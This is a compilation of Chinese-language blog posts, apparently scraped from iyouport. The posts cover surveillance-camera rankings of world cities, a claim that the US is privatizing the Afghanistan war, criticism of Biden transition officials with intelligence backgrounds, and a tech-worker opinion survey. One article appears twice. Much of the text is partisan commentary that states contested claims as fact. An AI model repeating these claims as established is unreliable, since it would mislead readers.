根据 Comparitech 的一项新分析，中国的城市也正处于世界上最严重的监控之下。但是，随着对全球120个城市的公共 CCTV 监视摄像机数量的观察，居住在美国、英国、阿联酋、澳大利亚和印度等城市的一些居民也会发现自己被大量监视之眼所包围。

根据 Comparitech 的数据，伦敦和亚特兰大是除中国之外仅有的监视力度排名前十的城市。

Comparitech 衡量了一个城市每千人的CCTV监视摄像机数量，美国两个城市位居前20名。

亚特兰大拥有 7,800 台监视摄像机，可容纳501,178人，每千人拥有15.56 台监视摄像机；芝加哥拥有 35,000 台监视摄像机，可容纳2,679,044人，每千人拥有13.06台监视摄像机。

但以上仅仅是监视的一个表面而已。

美国正在变成与中国一样的监视国家，尽管主流媒体和执法机构一直在努力避免你看到这点。

如果这是间谍奥运会，中国和美国将以各自13枚金牌并列领先。

Comparitech 的电子表格显示，有13个美国城市在监视公民方面位居

世界前列：

#10- Atlanta, GA

#12- Chicago, IL

#27- Washington, DC

#37- San Francisco, CA

#41- San Diego, CA

#45- Boston, MA

#57- New York City, NY

#65- Miami, FL

#68- Detroit, MI

#78- Houston, TX

#83- Philadelphia, PA

#96- Dallas, TX

#119- Los Angeles, CA

令人惊讶的是，新奥尔良市居然没有被列入这个名单。特别是在2017年， Bryan Lagarde 宣布该市为 “全美最大的高清网络犯罪摄像头系统” 之后。

更令人不安的是，就算把香港也包括在内，中国在前120名间谍城市中只占13个。这个数字与美国并驾齐驱，中美两国共同获得了全球间谍监视冠军的称号。

巴西将以9个 *最间谍城市* 获得银牌，而英国以3个最间谍城市获得铜牌。

对于一些人来说，这则消息令人震惊，而对于其他人，应该将其视为恐惧之源。

「图」

将公共CCTV监视摄像机的数量与Numbeo报告的犯罪和安全指数进行了比较。对于两个指数，相关性都很弱（r = 0.168，r = -0.168，n = 120）。结论是，监视摄像机的数量和犯罪率之间几乎没有什么关系。

从广义上讲，更多的摄像头并不一定会使人们感到更安全。

对中国闭路电视摄像机的数量的估计会有所不同，但据报道，到2020年，中国使用的摄像机数量将从2亿增加到6.26亿。

根据该国目前的14亿人口计算，这意味着每两个人就要使用一部摄像头。尽管此预测看似庞大，但可能只是实际数字的一小部分。

中国的深圳市计划在未来几年内安装16,680,000台监控摄像机，目前的数字是 1,929,600台。

如果整个中国将闭路电视摄像机的数量都增加同样的幅度，则意味着总共有22.9亿台监控摄像机，平均每人接近两台。

中国还是面部识别监控技术的热心采用者。结合国家的社会信用评分体系，通常用于限制个人的行动自由。

- 《又一个被漠视的深渊》
- 《胡萝卜：中国当局大举奖励最顺从的公民》
- 《监视操纵社会：中国尝试通过社会信用系统改变社会行为》
- 《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》
- 《“社会信用”监视：英国、中国、美国和日本【Viedo】》

例如，如果某人的社会信用分数太低，就会被禁止使用某些类型的公共交通工具。配备人脸识别技术的摄像头被放置在交通枢纽，以执行这些规则。

Comparitech 研究人员整理了大量资源，以估算使用中的公共CCTV摄像机的数量。

我们专注于世界上人口最多的城市，但忽略了找不到足够数据的城市。在可能的情况下，还尝试找到正在使用的私人CCTV监视摄像机的数量。但是，由于并非每个城市都可以做到这一点，因此并未在总数中包括私人监视摄像机。

对于中国，我们使用了这些来源，但也根据该区域显示的增长率创建

了估算值。

到2020年，预计中国将拥有6.26亿个CCTV摄像机。 213％的增长已应用于未来预测。

同样，如果当前CCTV摄像机数据的来源早于2019年，这里将采用同比20％的增长。这是中国公安部指示的增长率。

由于报告估计的来源广泛，并且普遍缺乏有关监控摄像机的公共信息，因此实际数字可能高于或低于所示数字。〇

American And Chinese Cities Lead The World In Spying On People

The world’s most-surveilled cities

原文

美国在阿富汗的战争不会结束，因为中国 ... - iyouport

关于高堡奇人

【2021年5月11日存档】拜登并没有结束阿富汗战争，而是将其私有化了。为什么这场战争将永远持续下去？这和中国有什么关系？

> 特种部队、五角大楼承包商、以及间谍们，将继续留在阿富汗。

超过18000名五角大楼承包商仍留在阿富汗，而正式的官方部队只有2500人。乔·拜登将撤出这支人数较少的士兵，同时留下美国特种部队、雇佣兵和情报人员 —— 将战争私有化并缩小规模，但不会结束战争。

4月14日，美国总统乔·拜登宣布，将在2001年9月11日恐袭20周年之际，结束美国最长的战争，并从阿富汗撤军。

届时，6000多名北约部队官兵也将撤离。

拜登在白宫条约厅发表讲话时说："阿富汗战争从来就不意味着是多代人的事业"。2001年10月，乔治·W·布什就是在这间屋子里宣布战争开始的。拜登说，"我们遭到了攻击。我们带着明确的目标参战。我们实现了这些目标。拉登已经死了，基地组织在阿富汗退化了，是时候结束这场永远的战争了。"

但是，拜登说他要结束永远的战争是误导性的。正如《纽约时报》报道的那样，美军正式撤离后，美国将留下一支"由秘密特种作战部队、五角大楼承包商和秘密情报人员组成的隐秘战斗部队"。

时报进一步报道说，美国在波斯湾地区以及约旦保持着一个空军基地群，并在卡塔尔保持着一个主要的空军总部，可以为向阿富汗执行任务的远程轰炸机或武装无人机提供发射台。

2009年从国务院辞职以抗议战争的伤残老兵马修·霍赫 (Matthew Hoh)表示，阿富汗的真正和平进程 “取决于外国军队离开阿富汗”。

尤其是，霍赫还表示，“无论3500名表面上的美军是否离开阿富汗，美国仍将以数千名特种作战人员和中情局人员的形式出现在阿富汗境内和周边地区，通过驻扎在该地区的军事基地和航空母舰上的数十支有人驾驶的攻击机和武装无人机中队，以及舰艇和潜艇上的数百枚巡航导弹”。

雇佣兵

「图」

当我们考虑到五角大楼在阿富汗每一名军人（不论男女）就配置了7名以上的五角大楼承包商时，拜登总统的宣布就变得毫无意义了，而十年前每一名军人还只配一名五角大楼承包商。

根据国防部的一份报告，截至1月份，仍有超过18000名雇佣兵留在阿富汗，当时官方的部队总数已经减少到2500人。

这些总数反映了美国政府将战争外包给私人雇佣军公司的战略，也是让战争与公众保持距离、敷衍异议的一种手段，因为盖着国旗的棺材会更少一些。

大多数雇佣兵都是退伍军人，不过也有一部分是第三国国民，他们拿着微薄的工资为军方做一些琐碎的工作。

最大的雇佣兵公司之一是弗吉尼亚州福尔斯丘奇的 DynCorp International，截至2019年，该公司已经获得了超过70亿美元的政府合同，用于训练阿富汗军队和管理阿富汗的军事基地。

从2002年到2013年，DynCorp 获得了国务院69%的资金。福布斯杂志称其为 “伊拉克和阿富汗战争的大赢家之一”—— 输家几乎是其他所有人。

美国在阿富汗的战略蓝图是1959–1975年在老挝的秘密战争，中情局与数百名民间承包商合作，他们驾驶侦察机，管理地面基地，身着便衣操作雷达站，同时在赫蒙族人中组建自己的私人军队，打击老挝爱国者。

中情局和特种部队又试图在阿富汗招募部落分子，和在老挝一样，陷

入部落间和教派间的争斗。

多年来，美国特种部队的特工也一直在训练阿富汗维稳部队作为代理军，并执行凤凰计划（Project Phoenix）式的抢夺和暗杀任务，尽管正式撤军，但这些任务仍准备继续进行。

美国在阿富汗真正想要的是什么

「图」

共和党鹰派人士吉姆·英霍夫痛斥拜登的撤军计划，称这是一个“鲁莽而危险的决定。任意的最后期限很可能会使我们的军队处于危险之中，危及我们已经取得的所有进展，并导致阿富汗的内战—— 并为国际恐怖分子创造温床。”

应该指出的是，英霍夫是一个战争暴利者。他在作为参议院军事委员会主席呼吁增加国防预算的同时，还投资了主要军火制造商雷神公司的股票。

英霍夫的评估是有缺陷的，因为除其他原因外，美国在19年的战争中并没有取得多大进展（根据外交关系委员会的数据，塔利班比2001年以来的任何时候都要强大，并控制了阿富汗约五分之一的土地），而且阿富汗从来没有真正成为国际恐怖分子的温床。

9/11劫机者大多来自沙特，塔利班在**9/11**事件后同意将本拉登交给国际法庭，但美国从未支持。

具体解释见《两个数字告诉你为什么特朗普不会制裁沙特》

阿富汗战争将无限期地进行下去，并不是因为恐怖主义的威胁 —— 美军的存在加剧了这种威胁 —— 而是因为美国不会在该地区让步。

美国已经宣布打算在正式撤军后在阿富汗保留至少两个军事基地，在战争期间建立了1000多个基地。

美国还觊觎阿富汗人的矿产资源。美国地质局2007年的一项调查发现了近1万亿美元的矿藏，其中包括巨大的铁、铜、钴、金矿脉，以及锂等重要工业金属，锂被用于制造笔记本电脑和黑莓的电池。

这本书中有更详细的介绍：《行星旷》

五角大楼的一份内部备忘录称，阿富汗可能成为“锂的沙特阿拉伯”。

2001年，当美国第一次入侵阿富汗时，它正在扩大其在中亚的军事基础设施。阿富汗为这个新的“油乡”提供了一个关键的途径站，它拥有高达2000亿桶的石油 —— 约为北海发现量的10倍，占波斯湾总储量的三分之一。

阿富汗当时还被认为是一条石油管道的关键地点，这条管道可以绕过俄罗斯将中亚的石油输送到印度洋。通过阿富汗的石油/天然气管道计划

上世纪90年代，南加州石油公司优尼科开始采取措施修建这条管道，甚至向塔利班求爱。2018年，美国支持的新管道项目破土动工，该项目将把石油从土库曼斯坦输送到印度北部。

美国执政机构最担心的是，美国从阿富汗完全撤军，可能导致美国在阿富汗失去对其主要地缘政治对手中国和俄罗斯的战略立足点。Was the Now-Forgotten Murder of One Man on September 9, 2001 a Crucial Pre-condition for 9/11?

中国最近增加了在阿富汗的贸易和投资—— 该国与阿富汗有共同的边界 —— 并寻求与阿富汗政府和塔利班培养更好的关系。

与此同时，俄罗斯在2014年重新开放了喀布尔的一个文化中心，重建了一个废弃的苏联友谊中心，扩大了使馆人员，促进了经济投资，并向阿富汗政府提供了1万支卡拉什尼科夫步枪。

莫斯科还支持阿富汗的住房项目，并利用在喀布尔的人脉关系，与北方的民族权力掮客重修旧好，同时悄悄向塔利班示好。

正如《CovertAction》杂志之前的一篇文章所记录的那样，阿什拉夫·加尼领导的阿富汗现政府在很大程度上是美国创造的。它的军队由美国资助，每年花费约**40**亿美元。这种支持将继续下去—— 除非国会切断这种支持—— 同时还有每年近**10**亿美元的大规模美国对外援助项目。

美国希望让加尼继续执政，或者用另一个代理人取代他，以帮助美国在与俄罗斯和中国的地缘政治竞争中获胜，这与19世纪英国和俄罗斯之间的“伟大游戏”并没有什么不同。

只要帝国争霸战保持不变，这样的战争就只会持续下去，一直，持续下去。

本文作者杰里米·库兹马罗夫是《*CovertAction*》杂志的总编，也是四

本关于美国外交政策的书的作者。*CovertAction* 杂志专门调查全球间谍的秘密行动，曾因*CIA*的骚扰而连续数年关闭，于*2018*年*5*月重新发布。〇

BIDEN ISN’T ENDING THE AFGHANISTAN WAR, HE’S PRIVATIZING IT

原文

美国的选举为什么撕裂了华人群体：让我们避免使用“川粉”这个词 - iyouport

关于高堡奇人

【2020年11月13日存档】人们中存在一些误会，导致了这场完全无意义的争执 ……

最近我们和多位华人朋友分头交流了一些关于美国2020大选的见解，我们听到了类似的观点，就如下面这条 tweet 所描述的：

其实这段话大体上没错。但是，由于它缺少了最重要的一步思考，导致其全面失败 —— 特朗普的确可以被描述为 “去除了伪善的民主党”，但这并不意味着民主党的所有问题只是伪善。

1、是奥巴马启动了第一个数据驱动的选举干预的高峰，在这里看到《国王们的晚宴 —— 这是一场看不见的政变》；而特朗普则将其升级为全球臭名昭著的干预产业链的强化，在这里看到：《心理操纵的秘密：”行为经济学”＋PR＝？》，以及《选举运动的数字化斗争: 2020 Presidential Race》；我们不久后还将有专门文章分析这点。

2、奥巴马时代是抓捕吹哨人的最恐怖阶段，令透明度革命陷入困境；而特朗普则升级了这场战斗 —— 他起诉全球最出色的吹哨平台的创始人：175年监禁的威胁，在这里看到：《从人格暗杀到对真相的谋杀》。

3、民主党被曝光的恶行：

- 酷刑和谎言
- 伊拉克战争日志：酷刑、强奸、谋杀、隐藏平民死亡
- 有毒废物倾倒和覆盖罪证
- “附带谋杀”：战争罪、谋杀记者和平民儿童
- 无数不当行为的揭露， 克林顿政府非法监视盟国政治领导人和联合国高级官员
- 叙利亚档案：关于西方如何支持阿萨德政权的暴行
- 情报档案： 揭露 CIA秘密行动、线人、洗钱、秘密监视异议人

士和活动家
- 秘密贸易协议， 政府和跨国公司的官商勾结
- 国安局目标：对其他国家领导人和联合国秘书长进行政治间谍活动，和经济间谍活动
- 民主党全国委员会的腐败破坏伯尼·桑德斯的竞选， 与媒体勾结
- Vault7，CIA间谍全球的网络武器
- ……

以及更多！下面只选择4张图片，您可以在这里下载和打印完整的全套图片 18″x4.4″，并在 Wikileaks 的网站上看到详细的文件：wikileaks.org，不要忘了使用**Tor**！

特朗普的恶行：

此外推荐阅读这篇文章：《Two Face America: 73 Million Trump Party Apparatchiks Guarantee Turmoil Over the Coming Years》下图是对文中部分内容的翻译：

以及，《特朗普政府对媒体的战争不同于奥巴马时代，它已变得更加阴暗》。

2016年，Julian Assange 在回复记者提问 “你支持希拉里还是特朗普” 时，他回答：“这是在霍乱和淋病之间选择”；2020年，艾未未在回复网友的提问 “你支持特朗普还是拜登时”，他回答：“在吃屎和喝尿之间，我选择禁食”。 上述就是为什么他们要这样说。

民主党还是共和党？红色药丸还是蓝色药丸？土豆还是洋芋？…… 您不应该回答这样的问题。《从 Matrix 中醒来》并不容易。这4年来，所有所谓的主流媒体（事实上必须称其为企业媒体）都在努力主导 “一切都是特朗普的问题” 这一叙事，它是完全错误的、误导性的叙事 —— 正是这一误导帮助民主党摆脱了改革其自身弊端的机会（他们也很可能没想要这个机会）。宣传是有效的，多数人都认为 “特朗普是唯一的罪人”。

我们去年推荐了一本书：《特朗普崛起的由来》，这本书写于特朗普崛起 *前7年，它已经详细论述了为什么未来将出现特朗普这样的人成为领导者 —— 产生他的文化、滋养他的环境 —— 如果人们知道这点，就不会听信那些企业媒体的宣传。因为，拜登获胜只是去除了一个特朗普，而没有去除特朗普主义的深厚土壤，这才是灾难的根源。

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》

👇下面是在选举前发布的一个帖子。

在美国。选民中流行的2个热门观点是错误的：# “我投拜登投的是反法西斯主义” —— 不你做不到，相反，这个想法带来的自满才会真正阻碍反法西斯主义；

- “特朗普会被清算” —— 不这也不会发生，DC的传统是彼此包庇、互相销毁证据；

1. 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

- 《华为之战的虚伪：技术的巴尔干化》
- 《主流刊物之一说：美国”需要”像中国那样的互联网审查》
- 《数字专制与民主范式之战》
- …… 还有很多

1. 关于拜登，目前的看法《拜登新政府会释放吹哨人吗？》—— 这就是反抗的开始

为节省您的跳转，我们将这篇文章关联在下面。

拜登新政府会释放吹哨人吗？

「图」

「 感谢美国新闻人 *Kevin Gosztola* 的总结。*Kevin Gosztola* 是独立媒体 *Shadowproof* 的执行编辑，这是一家不接受任何资金的、完全读者支持的独立新闻机构，由前 *Firedoglake* 员工于*2015*年创立，致力于揭露政府和企业的权力阴暗面。 」

拜登-哈里斯过渡团队发布了“机构审查小组”成员的名单，这将为拜登及其内阁做好行政准备。

下面我们来研究一下这个名单里的人，了解一下他们都是些什么人。

1、**Matt Olsen**，此人是前奥巴马政府的官员。他曾担任 “国家反恐中心” 主任、NSA的总法律顾问、和关塔那摩黑监狱审查工作组的执行主任。

简单说，此人是美国情报体系中的大佬。

2018年，Olsen 担任Uber的首席安全官。

优步与其他公司一起 花费了数亿美元游说，以策动通过了加利福尼亚州22号提案 —— 该提案将基于应用程序的运输公司和快递公司的驾驶员定义为 “独立承包商”，而非 “员工”，这样一来优步这些公司就可以 避免 提供员工福利和最低工资保障了。

并且，这个 Olsen 一直在狡辩，称 斯诺登（Edward Snowden）透露的大规模监视的秘密 “与隐私和公民自由关系不大”；他还为并没有定义敌人的所谓“反恐战争”站台，夸大威胁坚称恐怖分子 “改变了行为以避免被发现”：

Olsen 为互联网通信后门监视的恶行辩护，和其他所有老大哥的狡辩一样：https://www.justsecurity.org/47470/warrantless-backdoor-searches-business-usual-a-response-matt-olsen-asha-rangappa/

2006年 ~ 2009年，Olsen 作为司法部国安司副总检察长，帮助打破障碍，以允许检察官在刑事案件中使用通过秘密行动和无证非法监控收集的情报。他甚至制定了扩大那个臭名昭著的《外国情报监视法》的规定：https://www.theatlantic.com/politics/archive/2011/07/getting-know-nominated-counterterrorism-chief/352419/

2、**Greg Vogle**，此人是 McChrystal Group 的合伙人 —— 该集团由联合特种作战司令部（JSOC）前司令官 Stanley McChrystal 创立。他是中央情报局阿富汗站的负责人。

这个 Vogle 也是美国情报体系中的大佬。

Vogle 还是 DGC International 的顾问，该公司是由阿富汗商人 Mustafa Zamani 创立并领导的美国军事承包商。

DGC提供的一些服务示例 见下图，以便美军可以维持其在中东的主导地位：

3、**Eric Velez-Villar**，此人在联邦调查局（FBI）工作了30年，最终成为情报部门的高级主管。他离开间谍机构后成为了迪士尼公园和度假村的安全负责人，其职责是：保护公司的所谓 “敏感信息”。

再一次，此人也是美国情报体系中的大佬。

4、**Carmen Middleton**，此人也曾为迪士尼工作，她还曾任中央情报局副局长。她是中央情报局排名最高的拉丁裔官员。

Middleton 也是美国情报体系中的大佬。

5、**Bob Litt**，此人是国家情报局（ODNI）办公室的前总顾问。他曾与那个否认斯诺登文件所揭露的侵权行为的 臭名昭著的 詹姆斯·克拉珀（James Clapper）合作，并参与了美国情报部门对斯诺登揭露的回应。

这个 Litt 也是美国情报体系中的大佬。

在《纽约时报》发表社论暗示克拉珀在电话元数据监视上对国会撒谎之后，这个 Litt 为克拉珀辩护：https://www.dni.gov/index.php/newsroom/press-releases/press-releases-2014/item/996-letter-to-the-new-york-times-editor-from-odni-general-counsel-robert-litt

当任何一家美国报纸披露美国政府运作的大规模监控计划的一些新的方面 —— 例如，NSA如何存储 “数以亿计的设备“ 的位置数据时 ，这个 Litt 就开始做洗地的工作，以确保媒体对吹哨的曝光 不会 爆发出导致改革的丑闻。

……

总之：这群 “情报体系” 中的大佬 不会支持 放弃对 Edward Snowden 或 Daniel Hale 等吹哨人的指控；他们甚至 不会反对 起诉 Julian Assange，即使当年奥巴马的司法部认为起诉Julian是违宪的。

📌 在下面回顾Assange听证会中文笔记：

上半部分：《“他们射杀儿童，而营救的人却受到了惩罚” - IYP获授权发布 Julian Assange 引渡听证会部分重要内容（上）》

下半部分：《间谍公司、被入侵的手机、被泄漏的密码-IYP获授权发布 Julian Assange 引渡听证会部分重要内容（下）》

○□

原文

美国的选举为什么撕裂了华人群体：让我们避免使用“川粉”这个词 - iYouPort

关于高堡奇人

人们中存在一些误会，导致了这场完全无意义的争执 ……

「图」

「图」

最近我们和多位华人朋友分头交流了一些关于美国2020大选的见解，我们听到了类似的观点，就如下面这条 tweet 所描述的：

「图」

「图」

其实这段话大体上没错。但是，由于它缺少了最重要的一步思考，导致其全面失败 —— 特朗普的确可以被描述为 “去除了伪善的民主党”，但这并不意味着民主党的所有问题只是伪善。

1、是奥巴马启动了第一个数据驱动的选举干预的高峰，在这里看到《国王们的晚宴 —— 这是一场看不见的政变》；而特朗普则将其升级为全球臭名昭著的干预产业链的强化，在这里看到：《心理操纵的秘密：”行为经济学”＋PR＝？》，以及《选举运动的数字化斗争: 2020 Presidential Race》；我们不久后还将有专门文章分析这点。

2、奥巴马时代是抓捕吹哨人的最恐怖阶段，令透明度革命陷入困境；而特朗普则升级了这场战斗 —— 他起诉全球最出色的吹哨平台的创始人：175年监禁的威胁，在这里看到：《从人格暗杀到对真相的谋杀》。

3、民主党被曝光的恶行：

- 酷刑和谎言

- 伊拉克战争日志：酷刑、强奸、谋杀、隐藏平民死亡
- 有毒废物倾倒和覆盖罪证
- “附带谋杀”：战争罪、谋杀记者和平民儿童
- 无数不当行为的揭露， 克林顿政府非法监视盟国政治领导人和联合国高级官员
- 叙利亚档案：关于西方如何支持阿萨德政权的暴行
- 情报档案： 揭露 CIA秘密行动、线人、洗钱、秘密监视异议人士和活动家
- 秘密贸易协议， 政府和跨国公司的官商勾结
- 国安局目标：对其他国家领导人和联合国秘书长进行政治间谍活动，和经济间谍活动
- 民主党全国委员会的腐败破坏伯尼·桑德斯的竞选， 与媒体勾结
- Vault7，CIA间谍全球的网络武器
- ……

以及更多！下面只选择4张图片，您可以在这里下载和打印完整的全套图片 18″x4.4″，并在 Wikileaks 的网站上看到详细的文件：wikileaks.org，不要忘了使用**Tor**！

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

特朗普的恶行：

「图」

「图」

此外推荐阅读这篇文章：《Two Face America: 73 Million Trump

Party Apparatchiks Guarantee Turmoil Over the Coming Years》下图是对文中部分内容的翻译：

「图」

「图」

以及，《特朗普政府对媒体的战争不同于奥巴马时代，它已变得更加阴暗》。

2016年，Julian Assange 在回复记者提问 “你支持希拉里还是特朗普” 时，他回答：“这是在霍乱和淋病之间选择”；2020年，艾未未在回复网友的提问 “你支持特朗普还是拜登时”，他回答：“在吃屎和喝尿之间，我选择禁食”。上述就是为什么他们要这样说。

民主党还是共和党？红色药丸还是蓝色药丸？土豆还是洋芋？…… 您不应该回答这样的问题。《从 Matrix 中醒来》并不容易。这4年来，所有所谓的主流媒体（事实上必须称其为企业媒体）都在努力主导 “一切都是特朗普的问题” 这一叙事，它是完全错误的、误导性的叙事 —— 正是这一误导帮助民主党摆脱了改革其自身弊端的机会（他们也很可能没想要这个机会）。宣传是有效的，多数人都认为 “特朗普是唯一的罪人”。

我们去年推荐了一本书：《特朗普崛起的由来》，这本书写于特朗普崛起 *前7年，它已经详细论述了为什么未来将出现特朗普这样的人成为领导者 —— 产生他的文化、滋养他的环境 —— 如果人们知道这点，就不会听信那些企业媒体的宣传。因为，拜登获胜只是去除了一个特朗普，而没有去除特朗普主义的深厚土壤，这才是灾难的根源。

- 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》

👇下面是在选举前发布的一个帖子。

「图」

「图」

在美国。选民中流行的2个热门观点是错误的：#“我投拜登投的是反法西斯主义” —— 不你做不到，相反，这个想法带来的自满才会真正阻碍反法西斯主义；

- “特朗普会被清算” —— 不这也不会发生，DC的传统是彼此包

庇、互相销毁证据；

1. 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

- 《华为之战的虚伪：技术的巴尔干化》
- 《主流刊物之一说：美国"需要"像中国那样的互联网审查》
- 《数字专制与民主范式之战》
- …… 还有很多

1. 关于拜登，目前的看法《拜登新政府会释放吹哨人吗？》——这就是反抗的开始

为节省您的跳转，我们将这篇文章关联在下面。

「图」

「图」

拜登新政府会释放吹哨人吗？

「 感谢美国新闻人 //Kevin Gosztola// 的总结。*Kevin Gosztola* 是独立媒体 //Shadowproof// 的执行编辑，这是一家不接受任何资金的、完全读者支持的独立新闻机构，由前 *Firedoglake* 员工于*2015*年创立，致力于揭露政府和企业的权力阴暗面。 」

拜登-哈里斯过渡团队发布了"机构审查小组"成员的名单，这将为拜登及其内阁做好行政准备。

下面我们来研究一下这个名单里的人，了解一下他们都是些什么人。

1、**Matt Olsen**，此人是前奥巴马政府的官员。他曾担任 "国家反恐中心" 主任、NSA的总法律顾问、和关塔那摩黑监狱审查工作组的执行主任。

简单说，此人是美国情报体系中的大佬。

「图」

「图」

2018年，Olsen 担任Uber的首席安全官。

优步与其他公司一起 花费了数亿美元游说，以策动通过了加利福尼亚州22号提案 —— 该提案将基于应用程序的运输公司和快递公司的驾驶员定义为 “独立承包商”，而非 “员工”，这样一来优步这些公司就可以 避免 提供员工福利和最低工资保障了。

并且，这个 Olsen 一直在狡辩，称 斯诺登（Edward Snowden）透露的大规模监视的秘密 “与隐私和公民自由关系不大”；他还为并没有定义敌人的所谓“反恐战争”站台，夸大威胁坚称恐怖分子 “改变了行为以避免被发现”：https://youtu.be/wdNPpxh79-s

Olsen 为互联网通信后门监视的恶行辩护，和其他所有老大哥的狡辩一样：https://www.justsecurity.org/47470/warrantless-backdoor-searches-business-usual-a-response-matt-olsen-asha-rangappa/

2006年 ~ 2009年，Olsen 作为司法部国安司副总检察长，帮助打破障碍，以允许检察官在刑事案件中使用通过秘密行动和无证非法监控收集的情报。他甚至制定了扩大那个臭名昭著的《外国情报监视法》的规定：https://www.theatlantic.com/politics/archive/2011/07/getting-know-nominated-counterterrorism-chief/352419/

2、**Greg Vogle**，此人是 McChrystal Group 的合伙人 —— 该集团由联合特种作战司令部（JSOC）前司令官 Stanley McChrystal 创立。他是中央情报局阿富汗站的负责人。

这个 Vogle 也是美国情报体系中的大佬。

「图」

「图」

Vogle 还是 DGC International 的顾问，该公司是由阿富汗商人 Mustafa Zamani 创立并领导的美国军事承包商。

DGC提供的一些服务示例 见下图，以便美军可以维持其在中东的主导地位：

「图」

「图」

「图」

「图」

「图」

「图」

「图」

「图」

3、**Eric Velez-Villar**，此人在联邦调查局（FBI）工作了30年，最终成为情报部门的高级主管。他离开间谍机构后成为了迪士尼公园和度假村的安全负责人，其职责是：保护公司的所谓“敏感信息”。

再一次，此人也是美国情报体系中的大佬。

「图」

「图」

4、**Carmen Middleton**，此人也曾为迪士尼工作，她还曾任中央情报局副局长。她是中央情报局排名最高的拉丁裔官员。

Middleton 也是美国情报体系中的大佬。

「图」

「图」

5、**Bob Litt**，此人是国家情报局（ODNI）办公室的前总顾问。他曾与那个否认斯诺登文件所揭露的侵权行为的 臭名昭著的 詹姆斯·克拉珀（James Clapper）合作，并参与了美国情报部门对斯诺登揭露的回应。

这个 Litt 也是美国情报体系中的大佬。

「图」

「图」

在《纽约时报》发表社论暗示克拉珀在电话元数据监视上对国会撒谎之后，这个 Litt 为克拉珀辩护：https://www.dni.gov/index.php/newsroom/press-releases/press-releases-2014/item/996-letter-to-

the-new-york-times-editor-from-odni-general-counsel-robert-litt

当任何一家美国报纸披露美国政府运作的大规模监控计划的一些新的方面 —— 例如，NSA如何存储 “数以亿计的设备“ 的位置数据时 ，这个 Litt 就开始做洗地的工作，以确保媒体对吹哨的曝光 不会 爆发出导致改革的丑闻。

……

总之：这群 “情报体系” 中的大佬 不会支持 放弃对 Edward Snowden 或 Daniel Hale 等吹哨人的指控；他们甚至 不会反对 起诉 Julian Assange，即使当年奥巴马的司法部认为起诉Julian是违宪的。

📌 在下面回顾Assange听证会中文笔记：

上半部分：《“他们射杀儿童，而营救的人却受到了惩罚” - IYP获授权发布 Julian Assange 引渡听证会部分重要内容（上）》

下半部分：《间谍公司、被入侵的手机、被泄漏的密码-IYP获授权发布 Julian Assange 引渡听证会部分重要内容（下）》

○

原文

美国科技公司仍想与中国更多合作？ - iyouport

关于高堡奇人

这项调查反映了硅谷的长期心态，这被认为是出于对技术的考虑；当然，归根结底是利益

科技巨头公司的高管们会说很多话，在他们的平台上，在采访中，在国会山。但是，硅谷财大气粗的CEO们并不能代表整个科技行业，甚至不能代表他们自己的员工，他们越来越多地发现自己与公司最高领导层之间的矛盾。

为了把脉全国科技员工对行业面临的关键问题的立场，Protocol 推出了第一份科技员工调查，对全国1578名员工进行问卷，从 C-suite 级别的高管到普通员工。他们大多来自大型科技公司 —— 近40%的受访者在年收入超过5亿美元的公司工作，大部分公司的员工人数超过1000人。

调查询问了一系列问题，从中国构成的威胁、到美国科技巨头是否应该被拆分，检查他们的答案与行业党派路线的一致或分歧。

以下是调查的结果。

技术巨头的权力太大了

「图」

在被调查的科技员工中，有高达78%的人同意科技巨头过于强大，只有11%的人不同意。Facebook、亚马逊、Alphabet 和苹果也是如此。超过77%的受访者表示，这些公司的权力太大，只有超过8%的人不同意。

不仅大多数人说这个行业太过强大，还有约40%的人说科技的危害大于其好处。只有约45%的科技员工不同意，这表明即使在行业内部，

科技工作者也担心科技巨头对世界造成的负面影响。

然而，补救措施却很匮乏。超过68%的人希望自己的公司与科技巨头公司合作或被科技巨头公司收购，四分之三的人表示应该允许科技巨头公司收购其他公司。仅有超过40%的人认为，Facebook、亚马逊、Alphabet 和苹果应该被拆分。尽管他们对科技巨头的霸权和负面影响感到担忧，但科技员工并不认为反垄断执法是解决方案。

科技巨头公司不应该与执法部门合作

「图」

在去年夏天的 BLM 抗议活动之后，包括IBM、亚马逊和微软在内的科技巨头宣布切断与警察部门的联系或暂停某些合作，尤其是在销售面部识别技术方面。现在，在被调查的科技公司员工中，超过40%的人同意科技巨头公司应该完全停止与执法部门的合作。较小比例——不到34%—— 的人不同意。

这与微软和谷歌等公司内部的员工活动家的趋势一致，他们近年一直在来呼吁雇主终止与执法部门和军队的合同。

大多数人希望对第230条进行改革—— 但这很复杂

「图」

即使是科技行业的人也认为，现在是改革第230条的时候了，该条法律是现代互联网的基础—— 也就是说，如果他们知道它是什么的话。

只有62%的受访者表示他们知道第230条是什么（其余的受访者表示不知道或保持中立）。但在这62%的受访者中，有近四分之三（71%）的受访者表示他们同意该法律需要改革。

「图」

但似乎大多数受访者认为第230条的核心内容应该保持不变。在表示知道该法律是什么的人中，有65%的人同意 “科技巨头公司不应该为其网站和产品上的内容负责”。只有23%的人完全不同意。

科技行业的受访者似乎也对第230条的广泛影响很敏感，82%的受访者同意该法律的影响 ”不仅仅是对大型科技公司而言”。

总的来说，科技公司员工的观点似乎与国会的建议相一致。大家都认为需要改变一些东西，但对改变的形式并不太了解。

科技公司应与中国的合作吗

「图」

特朗普政府对中国科技行业采取了鹰派立场，将数十家公司列入贸易黑名单，并签署了多项行政命令，旨在禁止中国社交媒体应用——最明显的是TikTok—— 进入美国。 科技公司员工大体上表示，他们认为对峙应该结束，对与中国科技公司更紧密的合作表示开放。

「图」

56%的受访者表示，他们认为美国对中国科技公司的限制太过分了，28%的受访者表示对此持中立态度。而60%的人同意美国科技公司应该与中国科技公司进行更紧密的合作。最终，大多数受访者表示，他们认为科技行业的未来岌岌可危，**58%**的受访者同意，与中国的冷战可能“使美国科技公司陷入瘫痪”。

不过，他们认为的对中国科技的开放程度是有限制的—— 46%的人表示，他们同意中国电信公司华为应该被禁止进入美国。

是时候对人工智能进行监管了

「图」

国会在人工智能相关举措上的支出比以往任何时候都多，拜登政府已将投资人工智能研发列为首要任务。现在的关键是通过法规，围绕政府和私人实体如何使用人工智能制定参数，人工智能可能会给现实世界的偏见带来超乎寻常的伤害，并对有色人种造成不成比例的伤害。

